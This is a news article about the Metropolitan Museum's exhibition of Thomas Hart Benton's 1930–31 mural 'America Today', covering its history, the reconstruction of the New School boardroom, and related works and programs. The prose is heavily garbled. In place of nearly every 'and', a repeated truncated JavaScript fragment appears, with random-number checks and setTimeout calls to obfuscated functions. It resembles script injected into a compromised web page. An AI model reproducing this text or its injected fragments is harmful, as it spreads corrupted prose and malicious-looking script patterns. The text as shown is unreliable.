NEW YORK CITY — Missouri native Thomas Hart Benton (1889–1975) painted a ten-panel mural cycle in 1930–31 for New York’s New School for Social Research to adorn the boardroom of its International Style Modernist building on West 12th Street. Depicting a sweeping panorama of American life during the 1920s, “America Today” ranks among Benton’s most renowned works andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and as one of the most significant accomplishments in American art of the period.

The sweeping mural remained at the New School until it was sold in 1982 with the stipulation that it could not be sold outside the United States nor could the ten panels be sold separately. In 1984, AXA Equitable Life Insurance Company bought the mural, restored it andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mounted it in the company’s headquarters, to great acclaim. When the building was to be remodeled, AXA arranged to give the epic mural the Metropolitan Museum of Art in December 2012.

On September 30, in the Erving andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Joyce Wolf Gallery in the American Wing of the museum, Thomas “Hart Benton’s ‘America Today’ Mural Rediscovered” will go on view in an exhibition that transforms the gallery into a reconstruction of the 30-by-22-foot boardroom as it existed at the New School in 1931, allowing viewers to experience the mural as Benton conceived it.

A highlight of this extraordinary opportunity is the incorporation of elements that were part of the architect Joseph Urban’s Modernist aesthetic for the New School building, such as the black andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and red color scheme he used for the room. Among the mural’s most distinctive features are the aluminum-leaf wooden moldings, which not only frame the mural, but also create inventive spatial breaks within each large panel. When the mural was installed at the New School, these moldings echoed the Art Deco details of Urban’s building design.

The ten  panels — most of which loom to a height of 7½ feet — depict a panoramic sweep of rural andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and urban life on the eve of the Great Depression. They capture the tension of early modern America, with allusions to race relations andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and social values, while simultaneously celebrating the themes of industry, progress, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and urban life. An array of pre-Depression types — flappers, farmers, steel workers, stock market tycoons andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others representing a cross section of American life — surround visitors in the mural space andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and can be further explored in the adjacent galleries, which will present many of the studies Benton made during his travels around the United States in the 1920s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and to which he referred for the mural project.

“America Today” was Benton’s first major mural commission. The exhibition demonstrates how the work not only marked a turning point in Benton’s career as a painter — elevating his stature among his peers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and critics — but in hindsight standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands out even more as a singular achievement of American art of the period.

The exhibition is organized into three sections: the first features a large selection of Benton’s studies for the mural; the second presents the mural installed in a facsimile of its original space at the New School; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the third features related works by other artists, all from the museum’s collection.

Stylistically bold, “America Today” standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands midway between the artist’s early experiments in abstraction, signs of which are still evident in the mural, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the expressive figurative style for which he is best known today. Thematically, the mural evokes the ebullient belief in American progress that was characteristic of the 1920s, even as it acknowledges the onset of economic distress that would characterize life in the following decade.

The final section of the exhibition includes works that relate to Benton’s “America Today”  drawn from across the museum’s departments. Highlights include other works by Benton; renowned photographs by Walker Evans, Berenice Abbott andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Lewis Hine; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, of particular interest, Jackson Pollock’s “Pasiphaë,” 1943. During the time Benton was painting “America Today,” Pollock was his student andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and served as a model for the mural. The inclusion of Pollock’s abstract painting in the exhibition provides opportunities to consider the complex personal andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artistic relationship between the two artists.

A variety of education programs will take place in conjunction with the exhibition. These include gallery talks, a one-day symposium on March 2, a Sunday at the Met lecture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a scholars’ day workshop event.

The museum is at 1000 Fifth Avenue. For further information, www.metmuseum.org or 212-535-7710.